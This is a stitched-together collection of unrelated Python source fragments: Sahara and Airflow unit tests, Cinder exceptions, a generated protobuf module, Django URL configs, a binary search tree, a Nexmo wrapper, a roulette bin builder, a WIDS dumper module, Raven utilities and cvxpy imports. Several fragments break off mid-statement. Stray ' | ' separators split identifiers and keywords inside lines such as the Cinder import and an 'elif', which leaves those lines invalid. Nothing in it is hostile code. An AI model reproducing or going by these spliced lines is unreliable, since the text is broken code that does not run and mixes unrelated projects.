result_cluster1 = api.get_cluster(clusters['clusters'][0])
result_cluster2 = api.get_cluster(clusters['clusters'][1])
self.assertEqual(c_u.CLUSTER_STATUS_ACTIVE, result_cluster1.status)
self.assertEqual(c_u.CLUSTER_STATUS_ACTIVE, result_cluster2.status)
expected_count = {
'ng_1': 1,
'ng_2': 3,
'ng_3': 1,
}
ng_count = 0
for ng in result_cluster1.node_groups:
self.assertEqual(expected_count[ng.name], ng.count)
ng_count += 1
self.assertEqual(3, ng_count)
api.terminate_cluster(result_cluster1.id)
api.terminate_cluster(result_cluster2.id)
self.assertEqual(
['get_open_ports', 'recommend_configs', 'validate',
'ops.provision_cluster',
'get_open_ports', 'recommend_configs', 'validate',
'ops.provision_cluster',
'ops.terminate_cluster',
'ops.terminate_cluster'], self.calls_order)
@mock.patch('sahara.service.quotas.check_cluster')
def test_create_multiple_clusters_failed(self, check_cluster):
MULTIPLE_CLUSTERS = SAMPLE_CLUSTER.copy()
MULTIPLE_CLUSTERS['count'] = 2
check_cluster.side_effect = exc.QuotaException(
'resource', 'requested', 'available')
with testtools.ExpectedException(exc.QuotaException):
api.create_cluster(SAMPLE_CLUSTER)
self.assertEqual('Error', api.get_clusters()[0].status)
@mock.patch('sahara.service.quotas.check_cluster')
def test_create_cluster_failed(self, check_cluster):
check_cluster.side_effect = exc.QuotaException(
'resource', 'requested', 'available')
with testtools.ExpectedException(exc.QuotaException):
api.create_cluster(SAMPLE_CLUSTER)
self.assertEqual('Error', api.get_clusters()[0].status)
@mock.patch('sahara.service.quotas.check_cluster', return_value=None)
@mock.patch('sahara.service.quotas.check_scaling', return_value=None)
def test_scale_cluster_success(self, check_scaling, check_cluster):
cluster = api.create_cluster(SAMPLE_CLUSTER)
api.scale_cluster(cluster.id, SCALE_DATA)
result_cluster = api.get_cluster(cluster.id)
self.assertEqual('Scaled', result_cluster.status)
expected_count = {
'ng_1': 3,
'ng_2': 2,
'ng_3': 1,
'ng_4': 1,
}
ng_count = 0
for ng in result_cluster.node_groups:
self.assertEqual(expected_count[ng.name], ng.count)
ng_count += 1
|
from cinder.excepti | on import *
from cinder.i18n import _
class ProviderMultiVolumeError(CinderException):
msg_fmt = _("volume %(volume_id)s More than one provider_volume are found")
class ProviderMultiSnapshotError(CinderException):
msg_fmt = _("snapshot % | (snapshot_id)s More than one provider_snapshot are found")
class ProviderCreateVolumeError(CinderException):
msg_fmt = _("volume %(volume_id)s create request failed,network or provider internal error")
class ProviderCreateSnapshotError(CinderException):
msg_fmt = _("snapshot %(snapshot_id)s create request failed,network or provider internal error")
class ProviderLocationError(CinderException):
msg_fmt = _("provider location error")
class ProviderExportVolumeError(CinderException):
msg_fmt = _("provider export volume error")
class ProviderVolumeNotFound(NotFound):
message = _("Volume %(volume_id)s could not be found.")
class VgwHostNotFound(NotFound):
message = _("node of %(Vgw_id)s at provider cloud could not be found.") |
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: tensorflow_serving/config/platform_config.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
from google.protobuf import any_pb2 as google_dot_protobuf_dot_any__pb2
DESCRIPTOR = _descriptor.FileDescriptor(
name='tensorflow_serving/config/platform_config.proto',
package='tensorflow.serving',
syntax='proto3',
serialized_options=_b('\370\001\001'),
serialized_pb=_b('\n/tensorflow_serving/config/platform_config.proto\x12\x12tensorflow.serving\x1a\x19google/protobuf/any.proto\"E\n\x0ePlatformConfig\x12\x33\n\x15source_adapter_config\x18\x01 \x01(\x0b\x32\x14.google.protobuf.Any\"\xc5\x01\n\x11PlatformConfigMap\x12T\n\x10platform_configs\x18\x01 \x03(\x0b\x32:.tensorflow.serving.PlatformConfigMap.PlatformConfigsEntry\x1aZ\n\x14PlatformConfigsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\x31\n\x05value\x18\x02 \x01(\x0b\x32\".tensorflow.serving.PlatformConfig:\x02\x38\x01\x42\x03\xf8\x01\x01\x62\x06proto3')
,
dependencies=[google_dot_protobuf_dot_any__pb2.DESCRIPTOR,])
_PLATFORMCONFIG = _descriptor.Descriptor(
name='PlatformConfig',
full_name='tensorflow.serving.PlatformConfig',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='source_adapter_config', full_name='tensorflow.serving.PlatformConfig.source_adapter_config', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=98,
serialized_end=167,
)
_PLATFORMCONFIGMAP_PLATFORMCONFIGSENTRY = _descriptor.Descriptor(
name='PlatformConfigsEntry',
full_name='tensorflow.serving.PlatformConfigMap.PlatformConfigsEntry',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='key', full_name='tensorflow.serving.PlatformConfigMap.PlatformConfigsEntry.key', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='value', full_name='tensorflow.serving.PlatformConfigMap.PlatformConfigsEntry.value', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=_b('8\001'),
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=277,
serialized_end=367,
)
_PLATFORMCONFIGMAP = _descriptor.Descriptor(
name='PlatformConfigMap',
full_name='tensorflow.serving.PlatformConfigMap',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='platform_configs', full_name='tensorflow.serving.PlatformConfigMap.platform_configs', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[_PLATFORMCONFIGMAP_PLATFORMCONFIGSENTRY, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=170,
serialized_end=367,
)
_PLATFORMCONFIG.fields_by_name['source_adapter_config'].message_type = google_dot_protobuf_dot_any__pb2._ANY
_ | PLATFORMCONFIGMAP_PLATFORMCONFIGSENTRY.fields_by_name['value'].message_type = _PLATFORMCONFIG
_PLATFORMCONFIGMAP_PLATFORMCONFIGSENTRY. | containing_type = _PLATFORMCONFIGMAP
_PLATFORMCONFIGMAP.fields_by_name['platform_configs'].message_type = _PLATFORMCONFIGMAP_PLATFORMCONFIGSENTRY
DESCRIPTOR.message_types_by_name['PlatformConfig'] = _PLATFORMCONFIG
DESCRIPTOR.message_types_by_name['PlatformConfigMap'] = _PLATFORMCONFIGMAP
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
PlatformConfig = _reflection.GeneratedProtocolMessageType('PlatformConfig', (_message.Message,), dict(
DESCRIPTOR = _PLATFORMCONFIG,
__module__ = 'tensorflow_serving.config.platform_config_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.serving.PlatformConfig)
))
_sym_db.RegisterMessage(PlatformConfig)
PlatformConfigMap = _reflection.GeneratedProtocolMessageType('PlatformConfigMap', (_message.Message,), dict(
PlatformConfigsEntry = _reflection.GeneratedProtocolMessageType('PlatformConfigsEntry', (_message.Message,), dict(
DESCRIPTOR = _PLATFORMCONFIGMAP_PLATFORMCONFIGSENTRY,
__module__ = 'tensorflow_serving.config.platform_config_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.serving.PlatformConfigMap.PlatformConfigsEntry)
))
,
DESCRIPTOR = _PLATFORMCONFIGMAP,
__module__ = 'tensorflow_serving.config.platform_config_pb2'
# @@protoc_insertion_point(class_scope:tensorflow.serving.PlatformConfigMap)
))
_sym_db.RegisterMessage(PlatformConfigMap)
_sym_db.RegisterMessage(PlatformConfigMap.PlatformConfigsEntry)
DESCRIPTOR._options = None
_PLATFORMCONFIGMAP_PLATFORMCONFIGSENTRY._options = None
# @@protoc_insertion_point(module_scope)
|
from django. | conf.urls import url
from DjangoTaskManager.task import views
urlpatterns = [
url(r'^$', views.all_tasks, name='all_tasks'),
url(r'^add/$', views.add, name='task_add'),
url(r'^mark-done/(?P<task_id>[\w+:-]+)/$',
views.mark_done, name='task_mark_done'),
url(r'^edit/(?P<task_id>[\w+:-]+)/$',
| views.edit, name='task_edit'),
url(r'^delete/(?P<task_id>[\w+:-]+)/$',
views.delete, name='task_delete'),
url(r'^single/(?P<task_id>[\w+:-]+)/$',
views.single, name='single_task'),
]
|
class Node(object):
#a binary search tree has a left node (smaller values) and a right node (greater values)
def __init__(self, data):
self.data = data;
self.left_child = None;
self.right_child = None;
class BinarySearchTree(object):
def __init__(self):
self.root = None;
#inserting items in the tree O(logN) running time
def insert(self, data):
#if the root node is NULL it means this is the first node we insert
if not self.root:
self.root = Node(data);
else:
#there are already nodes in the tree so we have to find the valid place for this node
self.insert_node(data, self.root);
#it has O(logN) running time if the tree is balanced -> it can reduce to O(N)
#thats why AVL trees or red-black trees are needed
def insert_node(self, data, node):
#the data is smaller so we have to go to the left subtree
if data < node.data:
#the left child is not a NULL so we keep going
if node.left_child:
self.insert_node(data, node.left_child);
#the left child is NULL so we can insert the data here
else:
node.left_child = Node(data);
#the data is greater so we have to go to the right subtree
else:
#the right child is not a NULL so we keep going
if node.right_child:
self.insert_node(data, node.right_child);
#the right child is NULL so we can insert the data here
else:
|
node.right_child = Node(data);
#if the tree is balanced then it has O(logN) running time
def remove_node(self, data, node):
#base case for recursive function calls
if not node:
return node;
#first we have to find the node to remove
#left node -> containts smaller value
#right node -> conatains greater value
if data < node.data:
node.left_child = self.remove_node(data, node.left_child);
e | lif data > node.data:
node.right_child = self.remove_node(data, node.right_child);
#this is when we find the node we want to remove
else:
#the node is a leaf node: no children at all
if not node.left_child and not node.right_child:
print("Removing a leaf node...");
del node;
return None;
#the node we want to remove has a single right child
if not node.left_child: # node !!!
print("Removing a node with single right child...");
temp_node = node.right_child;
del node;
return temp_node;
#the node we want to remove has a single left child
elif not node.right_child: # node instead of self
print("Removing a node with single left child...");
temp_node = node.left_child;
del node;
return temp_node;
#the node has both left and right children
print("Removing node with two children....");
temp_node = self.get_predecessor(node.left_child); # self instead of elf + get predecessor
node.data = temp_node.data;
node.left_child = self.remove_node(temp_node.data, node.left_child);
#this is how we notify the parent and update the children accordingly
return node;
#get the previous node in the in-order traversal)
def get_predecessor(self, node):
#the predecessor the largest node in the left subtree
#successor: the smallest node in the right subtree
if node.right_child:
return self.get_predecessor(node.right_child);
return node;
#of course if the root is a NULL: we can not remove nodes at all
def remove(self, data):
if self.root:
self.root = self.remove_node(data, self.root);
#it has O(logN) running time complexity
def get_min_value(self):
if self.root:
return self.get_min(self.root);
def get_min(self, node):
#smallest item is the left most node's value
if node.left_child:
return self.get_min(node.left_child);
return node.data;
#it has O(logN) running time complexity
def get_max_value(self):
if self.root:
return self.get_max(self.root);
def get_max(self, node):
#largest item is the right most node's value
if node.right_child:
return self.get_max(node.right_child);
return node.data;
#considering all the nodes in the tree IF there are items (so root node is not NULL)
def traverse(self):
if self.root:
self.traverse_in_order(self.root);
#considering all the items in O(N) running time
#it yields the natural order (numerical ordering or alphabetical ordering)
def traverse_in_order(self, node):
#visit the left subtree
if node.left_child:
self.traverse_in_order(node.left_child);
#then the root node of the subtree
print("%s " % node.data);
#then finally the right subtree recursively
if node.right_child:
self.traverse_in_order(node.right_child);
if __name__ == "__main__":
bst = BinarySearchTree();
bst.insert(10);
bst.insert(13);
bst.insert(5);
bst.insert(14);
bst.remove(13);
bst.traverse(); |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from decimal import Decimal as D
class NexmoResponse(object):
"""A convenient wrapper to manipulate the Nexmo json response.
The class makes it easy to retrieve information about sent messages, total
price, etc.
Example::
>>> response = nexmo.send_sms(frm, to, txt)
>>> print response.total_price
0.15
>>> print response.remaining_balance
1.00
>>> print response.message_count:
3
>>> for message in response.messages:
... print message.message_id, message.message_price
00000124 0.05
00000125 0.05
00000126 0.05
The class only handles successfull responses, since errors raise
exceptions in the :class:`~Nexmo` class.
"""
def __init__(self, json_data):
self.messages = [NexmoMessage(data) for | data in json_data['messages']]
self.message_count = len(self.messages)
self.total_price = sum(msg.message_pr | ice for msg in self.messages)
self.remaining_balance = min(msg.remaining_balance for msg in self.messages)
class NexmoMessage(object):
"""A wrapper to manipulate a single `message` entry in a Nexmo response.
When a text messages is sent in several parts, Nexmo will return a status
for each and everyone of them.
The class does nothing more than simply wrapping the json data for easy
access.
"""
def __init__(self, json_data):
data = {
'to': json_data['to'],
'message_id': json_data['message-id'],
'status': int(json_data['status']),
'remaining_balance': D(json_data['remaining-balance']),
'message_price': D(json_data['message-price']),
'network': json_data['network']
}
self.__dict__.update(data)
|
#PROJECT
from outcome import Outcome
from odds import Odds
class Bin:
def __init__(
self,
*outcomes
):
self.outcomes = set([outcome for outcome in outcomes])
def add_outcome(
self,
outcome
):
self.outcomes.add(outcome)
def __str__(self):
return ', '.join([str(outcome) for outcome in self.outcomes])
class BinBuilder:
def __init__(
self,
wheel
):
self.wheel = wheel
def build_bins(self):
self.straight_bets()
self.split_bets()
self.street_bets()
self.corner_bets()
self.five_bet()
self.line_bets()
self.dozen_bets()
self.column_bets()
self.even_money_bets()
def straight_bets(self):
outcomes = [
Outcome(str(i), Odds.STRAIGHT_BET)
for i in range(37)
] + [Outcome('00', Odds.STRAIGHT_BET)]
for i, outcome in enumerate(outcomes):
self.wheel.add_outcome(i, outcome)
def split_bets(self):
for row in range(12):
for direction in [1, 2]:
n = 3 * row + direction
bins = [n, n + 1]
outcome = Outcome(
'split {}'.format('-'.join([str(i) for i in bins])),
Odds.SPLIT_BET
)
for bin in bins:
self.wheel.add_outcome(bin, outcome)
for n in range(1, 34):
bins = [n, n + 3]
outcome = Outcome(
'split {}'.format('-'.joi | n([str(i) for i in bins])),
Odds.SPLIT_BET
)
for bin in bins:
self.wheel.add_outcome(bin, outcome)
def street_bets(self):
for row in range(12):
| n = 3 * row + 1
bins = [n, n + 1, n + 2]
outcome = Outcome(
'street {}-{}'.format(bins[0], bins[-1]),
Odds.STREET_BET
)
for bin in bins:
self.wheel.add_outcome(bin, outcome)
def corner_bets(self):
for col in [1, 2]:
for row in range(11):
n = 3 * row + col
bins = [n + i for i in [0, 1, 3, 4]]
outcome = Outcome(
'corner {}'.format('-'.join([str(i) for i in bins])),
Odds.CORNER_BET
)
for bin in bins:
self.wheel.add_outcome(bin, outcome)
def five_bet(self):
outcome = Outcome(
'five bet 00-0-1-2-3',
Odds.FIVE_BET
)
for bin in [0, 1, 2, 3, 37]:
self.wheel.add_outcome(bin, outcome)
def line_bets(self):
for row in range(11):
n = 3 * row + 1
bins = [n + i for i in range(6)]
outcome = Outcome(
'line {}-{}'.format(bins[0], bins[-1]),
Odds.LINE_BET
)
for bin in bins:
self.wheel.add_outcome(bin, outcome)
def dozen_bets(self):
#https://pypi.python.org/pypi/inflect/0.2.4
dozen_map = {
1: '1st',
2: '2nd',
3: '3rd'
}
for d in range(3):
outcome = Outcome(
'{} 12'.format(dozen_map[d + 1]),
Odds.DOZEN_BET
)
for m in range(12):
self.wheel.add_outcome(12 * d + m + 1, outcome)
def column_bets(self):
for c in range(3):
outcome = Outcome(
'column {}'.format(c + 1),
Odds.COLUMN_BET
)
for r in range(12):
self.wheel.add_outcome(3 * r + c + 1, outcome)
def even_money_bets(self):
for bin in range(1, 37):
if 1 <= bin < 19:
name = '1 to 18' #low
else:
name = '19 to 36' #high
self.wheel.add_outcome(
bin,
Outcome(name, Odds.EVEN_MONEY_BET)
)
if bin % 2:
name = 'odd'
else:
name = 'even'
self.wheel.add_outcome(
bin,
Outcome(name, Odds.EVEN_MONEY_BET)
)
if bin in (
[1, 3, 5, 7, 9] +
[12, 14, 16, 18] +
[19, 21, 23, 25, 27] +
[30, 32, 34, 36]
):
name = 'red'
else:
name = 'black'
self.wheel.add_outcome(
bin,
Outcome(name, Odds.EVEN_MONEY_BET)
)
|
from django.conf.urls import include, url
from django.conf import settings
from django.contrib import admin
from djgeojson.views import GeoJSONLayerView
from wagtail.contrib.wagtailsitemaps.views import sitemap
from wagtail.wagtailadmin import urls as wagtailadmin_urls
from wagtail.wagtaildocs import urls as wagtaildocs_urls
from wagtail.wagtailcore import urls as wagtail_urls
from waespk.core import urls as ossuo_urls
urlpatterns = [
url(r'^django-admin/', include(admin.site.urls)),
url(r'^admin/', include(wagtailadmin_urls)),
url(r'^documents/', include(wagtaildocs_urls)),
url(r'^sitemap\.xml$', sitemap),
]
if settings.DEBUG:
from django.conf.urls.static import static
from django.contrib.staticf | iles.urls import staticfiles_urlpatterns
from django.views.generic import TemplateView, RedirectView
# Serve static and media files from development server
| urlpatterns += staticfiles_urlpatterns()
urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
# Add views for testing 404 and 500 templates
urlpatterns += [
url(r'^test404/$', TemplateView.as_view(template_name='404.html')),
url(r'^test500/$', TemplateView.as_view(template_name='500.html')),
]
# Favicon
urlpatterns += [
url(r'^favicon\.ico$', RedirectView.as_view(url=settings.STATIC_URL + 'ossuo.com/images/favicon.ico')),
]
urlpatterns += [
url(r'', include(ossuo_urls)),
url(r'', include(wagtail_urls)),
]
handler404 = 'waespk.core.views.error404'
|
#!/usr/bin/python
# -*- coding: iso-8859-15 -*-
#
# module_dumper.py - WIDS/WIPS framework file dumper module
# Copyright (C) 2009 Peter Krebs, Herbert Haas
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License version 2 as published by the
# Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, see http://www.gnu.org/licenses/gpl-2.0.html
"""Dumper module
Test module which outputs any input values in a file.
"""
# Imports
#
# Custom modules
import fw_modules.module_template
from fw_modules.module_exceptions import *
# Standard modules
import time
# Third-party modules
class DumperClass(fw_modules.module_template.ModuleClas | s):
"""DumperClass
| Receives messages and dumps them into file.
"""
def __init__(self, controller_reference, parameter_dictionary, module_logger):
"""Constructor
"""
fw_modules.module_template.ModuleClass.__init__(self, controller=controller_reference, param_dict=parameter_dictionary, logger=module_logger)
# Default values.
try:
self.dumpfile_path = self.param_dict['dumpfile']
except KeyError:
raise FwModuleSetupError, self.module_identifier + ": ERROR: No dumpfile specified"
self.module_logger.error("No dumpfile specified")
return None
# Helper values.
self.DUMPFILE = None
def after_run(self):
"""after_run()
Closes dumpfile.
"""
try:
self.DUMPFILE.close()
except IOError:
self.module_logger.warning("Couldn't close dumpfile properly")
def before_run(self):
"""before_run()
Opens dumpfile.
"""
try:
self.DUMPFILE = open(self.dumpfile_path, "w")
except IOError:
self.module_logger.error("Couldn't open file " + str(self.dumpfile_path))
return False
else:
return True
def dump_to_file(self, data):
"""dump_to_file()
Dumps input to file.
"""
self.module_logger.debug("Dumped data: " + str(data))
try:
self.DUMPFILE.write(data + "\n")
self.DUMPFILE.flush()
except IOError as err:
self.module_logger.warning("Couldn't dump to file; details: " + err.__str__())
def process(self, input):
"""process()
Main action.
"""
self.module_logger.debug("Raw input: " + str(input))
self.dump_to_file(input)
def main(controller_reference, parameter_dictionary, module_logger):
dumper_class = DumperClass(controller_reference, parameter_dictionary, module_logger)
return dumper_class
if __name__ == "__main__":
print "Warning: This module is not intended to be executed directly. Only do this for test purposes." |
exprs.update(hive_stats_collection_operator.get_default_exprs(col, col_type))
exprs = OrderedDict(exprs)
rows = [
(
hive_stats_collection_operator.ds,
hive_stats_collection_operator.dttm,
hive_stats_collection_operator.table,
mock_json_dumps.return_value,
)
+ (r[0][0], r[0][1], r[1])
for r in zip(exprs, mock_presto_hook.return_value.get_first.return_value)
]
mock_mysql_hook.return_value.insert_rows.assert_called_once_with(
table='hive_stats',
rows=rows,
target_fields=[
'ds',
'dttm',
'table_name',
'partition_repr',
'col',
'metric',
'value',
],
)
@patch('airflow.providers.apache.hive.operators.hive_stats.json.dumps')
@patch('airflow.providers.apache.hive.operators.hive_stats.MySqlHook')
@patch('airflow.providers.apache.hive.operators.hive_stats.PrestoHook')
@patch('airflow.providers.apache.hive.operators.hive_stats.HiveMetastoreHook')
def test_execute_with_assignment_func(
self, mock_hive_metastore_hook, mock_presto_hook, mock_mysql_hook, mock_json_dumps
):
def assignment_func(col, _):
return {(col, 'test'): f'TEST({col})'}
self.kwargs.update(dict(assignment_func=assignment_func))
mock_hive_metastore_hook.return_value.get_table.return_value.sd.cols = [fake_col]
mock_mysql_hook.return_value.get_records.return_value = False
hive_stats_collection_operator = HiveStatsCollectionOperator(**self.kwargs)
hive_stats_collection_operator.execute(context={})
field_types = {
col.name: col.type for col in mock_hive_metastore_hook.return_value.get_table.return_value.sd.cols
}
exprs = {('', 'count'): 'COUNT(*)'}
for col, col_type in list(field_types.items()):
exprs.update(hive_stats_collection_operator.assignment_func(col, col_type))
exprs = OrderedDict(exprs)
rows = [
(
hive_stats_collection_operator.ds,
hive_stats_collection_operator.dttm,
hive_stats_collection_operator.table,
mock_json_dumps.return_value,
)
+ (r[0][0], r[0][1], r[1])
for r in zip(exprs, mock_presto_hook.return_value.get_first.return_value)
]
mock_mysql_hook.return_value.insert_rows.assert_called_once_with(
table='hive_stats',
rows=rows,
target_fields=[
'ds',
'dttm',
'table_name',
'partition_repr',
'col',
'metric',
'value',
],
)
@patch('airflow.providers.apache.hive.operators.hive_stats.json.dumps')
@patch('airflow.providers.apache.hive.operators.hive_stats.MySqlHook')
@patch('airflow.providers.apache.hive.operators.hive_stats.PrestoHook')
@patch('airflow.providers.apache.hive.operators.hive_stats.HiveMetastoreHook')
def test_execute_with_assignment_func_no_return_value(
self, mock_hive_metastore_hook, mock_presto_hook, mock_mysql_hook, mock_json_dumps
):
def assignment_func(_, __):
pass
self.kwargs.update(dict(assignment_func=assignment_func))
mock_hive_metastore_hook.return_value.get_table.return_value.sd.cols = [fake_col]
mock_mysql_hook.return_value.get_records.return_value = False
hive_stats_collection_operator = HiveStatsCollectionOperator(**self.kwargs)
hive_stats_collection_operator.execute(context={})
field_types = {
col.name: col.type for col in mock_hive_metastore_hook.return_value.get_table.return_value.sd.cols
}
exprs = {('', 'count'): 'COUNT(*)'}
for col, col_type in list(field_types.items()):
exprs.update(hive_stats_collection_operator.get_default_exprs(col, col_type))
exprs = OrderedDict(exprs)
rows = [
(
hive_stats_collection_operator.ds,
hive_stats_collection_operator.dttm,
hive_stats_collection_operator.table,
mock_json_dumps.return_value,
)
+ (r[0][0], r[0][1], r[1])
for r in zip(exprs, mock_presto_hook.return_value.get_first.return_value)
]
mock_mysql_hook.return_value.insert_rows.assert_called_once_with(
table='hive_stats',
rows=rows,
target_fields=[
'ds',
'dttm',
'table_name',
'partition_repr',
'col',
'metric',
'value',
],
)
@patch('airflow.providers.apache.hive.operators.hive_stats.MySqlHook')
@patch('airflow.providers.apache.hive.operators.hive_stats.PrestoHook')
@patch('airflow.providers.apache.hive.operators.hive_stats.HiveMetastoreHook')
def test_execute_no_query_results(self, mock_hive_metastore_hook, mock_presto_hook, mock_mysql_hook):
mock_hive_metastore_hook.return_value.get_table.return_value.sd.cols = [fake_col]
mock_mysql_hook.return_value.get_records.return_value = False
mock_presto_hook.return_value.get_first.return_value = None
with pytest.raises(AirflowException):
HiveStatsCollectionOperator(**self.kwargs).execute(context={})
@patch('airflow.providers.apache.hive.operators.hive_stats.json.dumps')
@patch('airflow.providers.apache.hive.operators.hive_stats.MySqlHook')
@patch('airflow.providers.apache.hive.operators.hive_stats.PrestoHook')
@patch('airflow.providers.apache.hive.operators.hive_stats.HiveMetastoreHook')
def test_execute_delete_previous_runs_rows(
self, mock_hive_metastore_hook, mock_presto_hook, mock_mysql_hook, mock_json_dumps
):
mock_hive_metastore_hook.return_value.get_table.return_value.sd.cols = [fake_col]
mock_mysql_hook.return_value.get_records.return_value = True
hive_stats_collection_operator = HiveStatsCollectionOperator(**self.kwargs)
hive_stats_collection_operator.execute(context={})
sql = f"""
DELETE FROM hive_stats
WHERE
table_name='{hive_stats_collection_operator.table}' AND
partition_repr='{mock_json_dumps.return_value}' AND
dttm='{hive_stats_collection_operator.dttm}';
"""
mock_mysql_hook.return_value.run.assert_called_once_with(sql)
@unittest.skipIf(
'AIRFLOW_RUNALL_TESTS' not in os.environ, "Skipped because AIRFLOW_RUNALL_TESTS is not set"
)
@patch(
'airflow.providers.apache.hive.operators.hive_stats.HiveMetastoreHook',
side_effect=MockHiveMetastoreHook,
)
def test_runs_for_hive_stats(self, mock_hive_metastore_hook):
mock_mysql_hook = MockMySqlHook()
mock_presto_hook = MockPrestoHook()
with patch(
'airflow.providers.apache.hive.operators.hive_stats.PrestoHook', return_value=mock_presto_hook
):
with patch(
'airflow.providers.apache.hive.operators.hive_stats.MySqlHook', return_value=mock_mysql_hook
):
op = HiveStatsCollectionOperator(
task_id='hive_stats_check',
table="airflow.static_babynames_partitioned",
partition={'ds': DEFAULT_DATE_DS},
dag=self.dag,
)
op.run(start_dat | e=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
select_count_query = (
"SELECT COUNT(*) AS __count "
"FROM airflow.static_babynames_partitioned "
"WHERE ds = '2015-01-01';"
)
mock_presto_hook.get_first.assert_called_with(hql=select_count_query)
expected_stats_select_query = (
"SELECT 1 "
| "FROM hive_stats "
"WHERE table_name='airf |
"""
raven.utils
~~~~~~~~~~~~~~~~~~~
:copyright: (c) 2010 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
import hashlib
import hmac
import logging
try:
import pkg_resources
except ImportError:
pkg_resources = None
import sys
import raven
def construct_checksum(level=logging.ERROR, class_name='', traceback='', message='', **kwargs):
checksum = hashlib.md5(str(level))
checksum.update(class_name or '')
if 'data' in kwargs and kwargs['data'] and '__sentry__' in kwargs['data'] and 'frames' in kwargs['data']['__sentry__']:
frames = kwargs['data']['__sentry__']['frames']
for frame in frames:
checksum.update(frame['module'])
checksum.update(frame['function'])
elif traceback:
traceback = '\n'.join(traceback.split('\n')[:-3])
elif message:
if isinstance(message, unicode):
message = message.encode('utf-8', 'replace')
checksum.update(message)
return checksum.hexdigest()
def varmap(func, var, context=None):
if context is None:
context = {}
objid = id(var)
if objid in context:
return func('<...>')
context[objid] = 1
if isinstance(var, dict):
ret = dict((k, varmap(func, v, context)) for k, v in var.iteritems())
elif isinstance(var, (list, tuple)):
ret = [varmap(func, f, context) for f in var]
else:
ret = func(var)
del context[objid]
return ret
# We store a cache of module_name->version string to avoid
# continuous imports and lookups of modules
_VERSION_CACHE = {}
def get_versions(module_list=None):
if not module_list:
return {}
ext_module_list = set()
for m in module_list:
parts = m.split('.')
ext_module_list.update('.'.join(parts[:idx]) for idx in xrange(1, len(parts)+1))
versions = {}
for module_name in ext_module_list:
if module_name not in _VERSION_CACHE:
try:
__import__(module_name)
except ImportError:
continue
app = sys.modules[module_name]
if hasattr(app, 'get_version'):
get_version = app.get_version
if callable(get_version):
version = get_version()
else:
version = get_version
elif hasattr(app, 'VERSION'):
version = app.VERSION
elif hasattr(app, '__version__'):
version = app.__version__
elif pkg_resources:
# pull version from pkg_resources if distro exists
try:
version = pkg_resources.get_distribution(module_name).version
except pkg_resources.DistributionNotFound:
| version = None
else:
version = None
if isinstance(version, (list, tuple)):
version = '.'.join(str(o) for o in version)
_VERSION_CACHE[module_name] = version
else:
version = _VERSION_CACHE[module_name]
if version is None:
continue
version | s[module_name] = version
return versions
def get_signature(key, message, timestamp):
return hmac.new(key, '%s %s' % (timestamp, message), hashlib.sha1).hexdigest()
def get_auth_header(signature, timestamp, client):
return 'Sentry sentry_signature=%s, sentry_timestamp=%s, raven=%s' % (
signature,
timestamp,
raven.VERSION,
)
|
"""
Copyright 2017 Robin Verschueren
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from cvxpy.atoms import (bmat, cumsum, diag, kron, conv,
abs, reshape, trace,
upper_tri, conj, imag, real,
norm1, norm_inf, Pnorm,
sigma_max, lambda_max, lambda_sum_largest,
log_det, QuadForm, MatrixFrac, quad_over_lin)
from cvxpy.atoms.affine.promote import Promote
from cvxpy.atoms.affine.sum import Sum
from cvxpy.atoms.affine.add_expr import AddExpression
from cvxpy.atoms.affine.index import index, special_index
from cvxpy.atoms.affine.unary_operators import NegExpression
from cvxpy.atoms.affine.transpose import transpose
from cvxpy.atoms.affine.hstack import Hstack
from cvxpy.atoms.affine.vstack import Vstack
from cvxpy.atoms.norm_nuc import normNuc
